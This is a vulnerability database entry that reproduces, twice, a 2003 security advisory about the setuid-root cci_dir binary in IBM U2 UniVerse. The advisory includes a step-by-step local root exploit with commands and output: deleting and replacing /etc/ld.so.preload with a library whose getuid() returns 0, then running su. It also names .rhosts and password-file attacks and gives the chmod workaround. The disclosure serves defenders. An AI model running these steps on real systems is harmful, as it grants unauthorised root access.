IBM U2 UniVerse cci_dir creates hard links as root

2003-07-15T19:41:00
ID OSVDB:2312
Type osvdb
Reporter OSVDB
Modified 2003-07-15T19:41:00

Description

Vulnerability Description

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Thanks to IBM for being so receptive with these issues.

For those of you that have requested we revive the old "Snosoft" advisories we have begun placing our legacy advisories at http://www.secnetops.biz as time permits. -KF

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Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team research@secnetops.com Team Lead Contact kf@secnetops.com

Our Mission:


Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer.

Quick Summary:


Advisory Number : SRT2003-07-X-XXXX Product : IBM U2 UniVerse Version : Version <= 10.0.0.9 (DGUX = 7.3.2.1) Vendor : http://ibm.com/software/data/u2/universe/ Class : local Criticality : High (to UniVerse servers with local users) Operating System(s) : DGUX, Linux (other unix based?)

High Level Explanation


High Level Description : cci_dir creates hard links as root. What to do : chmod -s /usr/ibm/uv/bin/cci_dir

Technical Details


Proof Of Concept Status : No PoC needed for this issue. Low Level Description :

UniVerse is an extended relational database designed for embedding in vertical applications. Its nested relational data model results in intuitive data modeling and fewer resulting tables. UniVerse provides data access, storage and management capabilities across MicrosoftÂ(r) WindowsÂ(r) NT, Linux and UNIplatforms

A legacy program aparantly left over from UniVerse's support for the CCI (Concurrent Controls Inc) Operating System can provide a normal user with root access. cci_dir makes a call to link() while running as root. This can allow an attacker to place text into any file that does not yet exist. cci_dir will also call unlink() on the attackers file of choice again while running as root. The combination of these issues can provide root in a number of ways. The only limitation on the exploitation of this issue would be the use of multiple partitions. As H D Moore of http://digitaldefense.net pointed out to me, linking across partitions will result in a failure in the link() call.

link("/etc/passwd", "/tmp/test") = -1 EXDEV (Invalid cross-device link)

The above limitation by no means stops potential exploitation of this issue. Some of the attackers options include placing "+ +" in a .rhosts file, unlinking and recreating the shadow or password files or even the trojaning of shared library files.

The results of this issue are demonstrated below.

[root@vegeta bin]# ls -al ./cci_dir -rwsr-x--x 1 root bin 10328 Apr 3 21:57 ./cci_dir

[root@vegeta bin]# ltrace ./cci_dir USER_SUPPLIED USER_SUPPLIED2 ... link("USER_SUPPLIED", "USER_SUPPLIED2") = -1 fprintf(0x4212ef80, "Was unable to link files ") = 25

[root@vegeta bin]# touch a [root@vegeta bin]# ltrace ./cci_dir a b ... link("a", "b") = 0 unlink("a") = 0

Lets see how the above can lead to a root compromise.

My first target would be /etc/ld.so.preload. We can not link to a file that already exists so lets have it unlink()'d for us.

[kf@vegeta kf]$ ls -al /etc/ld.so.preload -rw-r--r-- 1 root root 0 Jul 7 20:03 /etc/ld.so.preload

[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir /etc/ld.so.preload isgone Was unable to unlink file isgone/..

[kf@vegeta kf]$ ls -al isgone -rw-r--r-- 1 root root 0 Jul 7 20:03 isgone

[kf@vegeta kf]$ ls -al /etc/ld.so.preload ls: /etc/ld.so.preload: No such file or directory

Next lets prepare for a shared library attack on /etc/ld.so.preload. [kf@vegeta kf]$ cat > oops.c int getuid(void) { return(0); } ^C

[kf@vegeta kf]$ gcc -c -o oops.o oops.c [kf@vegeta kf]$ ld -shared -o oops.so oops.o [kf@vegeta kf]$ cat > owned /home/kf/oops.so ^C

Next we cause cci_dir to hardlink to our trojan ld.so.preload file. [kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir owned /etc/ld.so.preload Was unable to unlink file /etc/ld.so.preload/..

You should note that we now have an ld.so.preload file.

[kf@vegeta kf]$ ls -al /etc/ld.so.preload -rw-rw-r-- 1 kf kf 18 Jun 27 18:41 /etc/ld.so.preload

[kf@vegeta kf]$ cat /etc/ld.so.preload /home/kf/oops.so

Now you can simply take root. (note you do NOT type a password for su)

[kf@vegeta kf]$ su - [root@vegeta root]# id uid=0(root) gid=0(root) groups=0(root)

Patch or Workaround : chmod -s /usr/ibm/uv/bin/cci_dir

Vendor Status : The IBM U2 staff will have this issue resolved in a future release of IBM U2. Patches may also be supplied on a per client basis at IBM's disgression.

Research and testing by the IBM staff has confirmed that cci_dir is no longer required for current UniVerse platform support. It will be removed from future UniVerse releases. Customers may also remove it from their systems to mitigate this vulnerability.

Bugtraq URL : to be assigned


This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.

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Short Description

--------------040108000409080301020807 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit

Thanks to IBM for being so receptive with these issues.

For those of you that have requested we revive the old "Snosoft" advisories we have begun placing our legacy advisories at http://www.secnetops.biz as time permits. -KF

--------------040108000409080301020807 Content-Type: text/plain; name="SRT2003-07-07-0831.txt" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="SRT2003-07-07-0831.txt"

Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team research@secnetops.com Team Lead Contact kf@secnetops.com

Our Mission:


Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer.

Quick Summary:


Advisory Number : SRT2003-07-X-XXXX Product : IBM U2 UniVerse Version : Version <= 10.0.0.9 (DGUX = 7.3.2.1) Vendor : http://ibm.com/software/data/u2/universe/ Class : local Criticality : High (to UniVerse servers with local users) Operating System(s) : DGUX, Linux (other unix based?)

High Level Explanation


High Level Description : cci_dir creates hard links as root. What to do : chmod -s /usr/ibm/uv/bin/cci_dir

Technical Details


Proof Of Concept Status : No PoC needed for this issue. Low Level Description :

UniVerse is an extended relational database designed for embedding in vertical applications. Its nested relational data model results in intuitive data modeling and fewer resulting tables. UniVerse provides data access, storage and management capabilities across MicrosoftÂ(r) WindowsÂ(r) NT, Linux and UNIplatforms

A legacy program aparantly left over from UniVerse's support for the CCI (Concurrent Controls Inc) Operating System can provide a normal user with root access. cci_dir makes a call to link() while running as root. This can allow an attacker to place text into any file that does not yet exist. cci_dir will also call unlink() on the attackers file of choice again while running as root. The combination of these issues can provide root in a number of ways. The only limitation on the exploitation of this issue would be the use of multiple partitions. As H D Moore of http://digitaldefense.net pointed out to me, linking across partitions will result in a failure in the link() call.

link("/etc/passwd", "/tmp/test") = -1 EXDEV (Invalid cross-device link)

The above limitation by no means stops potential exploitation of this issue. Some of the attackers options include placing "+ +" in a .rhosts file, unlinking and recreating the shadow or password files or even the trojaning of shared library files.

The results of this issue are demonstrated below.

[root@vegeta bin]# ls -al ./cci_dir -rwsr-x--x 1 root bin 10328 Apr 3 21:57 ./cci_dir

[root@vegeta bin]# ltrace ./cci_dir USER_SUPPLIED USER_SUPPLIED2 ... link("USER_SUPPLIED", "USER_SUPPLIED2") = -1 fprintf(0x4212ef80, "Was unable to link files ") = 25

[root@vegeta bin]# touch a [root@vegeta bin]# ltrace ./cci_dir a b ... link("a", "b") = 0 unlink("a") = 0

Lets see how the above can lead to a root compromise.

My first target would be /etc/ld.so.preload. We can not link to a file that already exists so lets have it unlink()'d for us.

[kf@vegeta kf]$ ls -al /etc/ld.so.preload -rw-r--r-- 1 root root 0 Jul 7 20:03 /etc/ld.so.preload

[kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir /etc/ld.so.preload isgone Was unable to unlink file isgone/..

[kf@vegeta kf]$ ls -al isgone -rw-r--r-- 1 root root 0 Jul 7 20:03 isgone

[kf@vegeta kf]$ ls -al /etc/ld.so.preload ls: /etc/ld.so.preload: No such file or directory

Next lets prepare for a shared library attack on /etc/ld.so.preload. [kf@vegeta kf]$ cat > oops.c int getuid(void) { return(0); } ^C

[kf@vegeta kf]$ gcc -c -o oops.o oops.c [kf@vegeta kf]$ ld -shared -o oops.so oops.o [kf@vegeta kf]$ cat > owned /home/kf/oops.so ^C

Next we cause cci_dir to hardlink to our trojan ld.so.preload file. [kf@vegeta kf]$ /usr/ibm/uv/bin/cci_dir owned /etc/ld.so.preload Was unable to unlink file /etc/ld.so.preload/..

You should note that we now have an ld.so.preload file.

[kf@vegeta kf]$ ls -al /etc/ld.so.preload -rw-rw-r-- 1 kf kf 18 Jun 27 18:41 /etc/ld.so.preload

[kf@vegeta kf]$ cat /etc/ld.so.preload /home/kf/oops.so

Now you can simply take root. (note you do NOT type a password for su)

[kf@vegeta kf]$ su - [root@vegeta root]# id uid=0(root) gid=0(root) groups=0(root)

Patch or Workaround : chmod -s /usr/ibm/uv/bin/cci_dir

Vendor Status : The IBM U2 staff will have this issue resolved in a future release of IBM U2. Patches may also be supplied on a per client basis at IBM's disgression.

Research and testing by the IBM staff has confirmed that cci_dir is no longer required for current UniVerse platform support. It will be removed from future UniVerse releases. Customers may also remove it from their systems to mitigate this vulnerability.

Bugtraq URL : to be assigned


This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.

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References: